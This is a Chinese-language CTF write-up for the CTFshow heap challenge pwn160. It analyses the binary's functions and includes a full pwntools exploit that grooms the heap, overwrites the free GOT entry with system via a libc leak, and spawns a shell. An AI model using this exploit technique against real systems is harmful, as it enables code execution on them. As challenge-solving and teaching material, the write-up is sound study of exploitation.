CTFshow pwn160(堆风水)
ida分析
main函数分析

1.简单的菜单题,通过menu,简单把函数名称修改,做一个简单的逆向
add函数分析

1.通过add函数,要对堆块的储存结构有清晰的认知,这会影响甚至是决定我们攻击的手法。
2.可以看到每次add会申清两个堆块,一个大小由我们控制,一个大小固定为0x80。并且,大小自由的堆块的指针会被保存在,大小固定的那个堆块内。而大小固定的那个堆块的指针会被保存在heaplist(逆向重命名过)上。
3.input第一个参数是作为指针,所以他会写在v3上,位置是s指针后面。
4.然后这里调用edit去编辑堆块内容
edit函数分析

1.看到这里对输入字节大小的检查,就可以联想到堆风水。是通过堆块的位置加上输入字节的大小,与另一块堆块的地址大小比较来判断。如果这两个堆块之间,有其他堆块,那么我们就可以对中间的堆块为所欲为了。
show函数分析

1.唯一的作用就是泄露libc
delete函数分析

1.没有uaf,不能直接利用
gdb分析

1.通过gdb,可以对堆块的内容,结构有更清晰的观察和了解
构造思路
1.首先确定攻击的手法——堆风水.也就是要造成我们申清的堆块在最上方,add自动申清的堆块在最下方。此时我们就可以控制中间的堆块了.而0x80大小,会被放入unsortedbin中,满足先进先出的规则。那么我们先申请几个堆块,小于0x80。free掉堆块0,再add一个0x80大小的堆块,它会在从unsortedbin中取出之前的堆块给我们,同时从topchunk中分配出另一块。至此,一块低地址,一块高地址的堆块构造完成。
2.第二部对照gdb,把对应位置出的内容修改成free_got就可以通过show泄露libc.然后再通过edit修改got表内容。
3.最后delete一块内容为/bin/sh\x00的堆块就可以打通了.
exp
比较复杂的解法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| from pwn import * from libcfind import * from LibcSearcher import * context(os='linux',arch='i386',log_level='debug') mode=1 url='pwn.challenge.ctf.show' port=28252 elf=ELF("./pwn") if mode == 0: io=process("./pwn") else : io=remote(url,port)
def add(size,name,lenth,content): io.recvuntil("Action: ") io.sendline("0") io.recvuntil("size of description: ") io.sendline(str(size)) io.recvuntil("name: ") io.sendline(name) io.recvuntil("text length: ") io.sendline(str(lenth)) io.recvuntil("text: ") io.sendline(content)
def delete(idx): io.recvuntil("Action: ") io.sendline("1") io.recvuntil("") io.sendline(str(idx))
def show(idx): io.recvuntil("Action: ") io.sendline("2") io.recvuntil("") io.sendline(str(idx))
def edit(idx,lenth,content): io.recvuntil("Action: ") io.sendline("3") io.recvuntil("index: ") io.sendline(str(idx)) io.recvuntil("text length: ") io.sendline(str(lenth)) io.recvuntil("text: ") io.sendline(content)
add(0x10,b"a",0x8,b'hhhh') add(0x20,b"b",0x8,b'hhhh') add(0x20,b"c",0x8,b'hhhh') add(0x20,b"d",0x10,b'/bin/sh\x00') delete(2) delete(0)
add(0x10,b"d",0x40,b'aaaa') add(0x80,b'e',0x8,b'bbbb') free_got=elf.got['free'] payload=p32(0)*5+p32(0x89) payload+=p32(0)*16 payload+=p32(0x88)+p32(0x28) payload+=p32(0)*9+p32(0x89) payload+=p32(0)*4 payload+=p32(0x88)+p64(0x29) payload+=p32(0)*8+p32(0x89) payload+=p32(free_got) edit(4,len(payload),payload) show(1) io.recvuntil("description: ") free=u32(io.recv(4)) log.success('free-{}'.format(hex(free)))
libc=LibcSearcher("free",free) libcbase=free-libc.dump('free') system=libcbase+libc.dump('system') edit(1,0x4,p32(system))
delete(3) io.interactive()
|
现在看来,delete(2)似乎有点多余了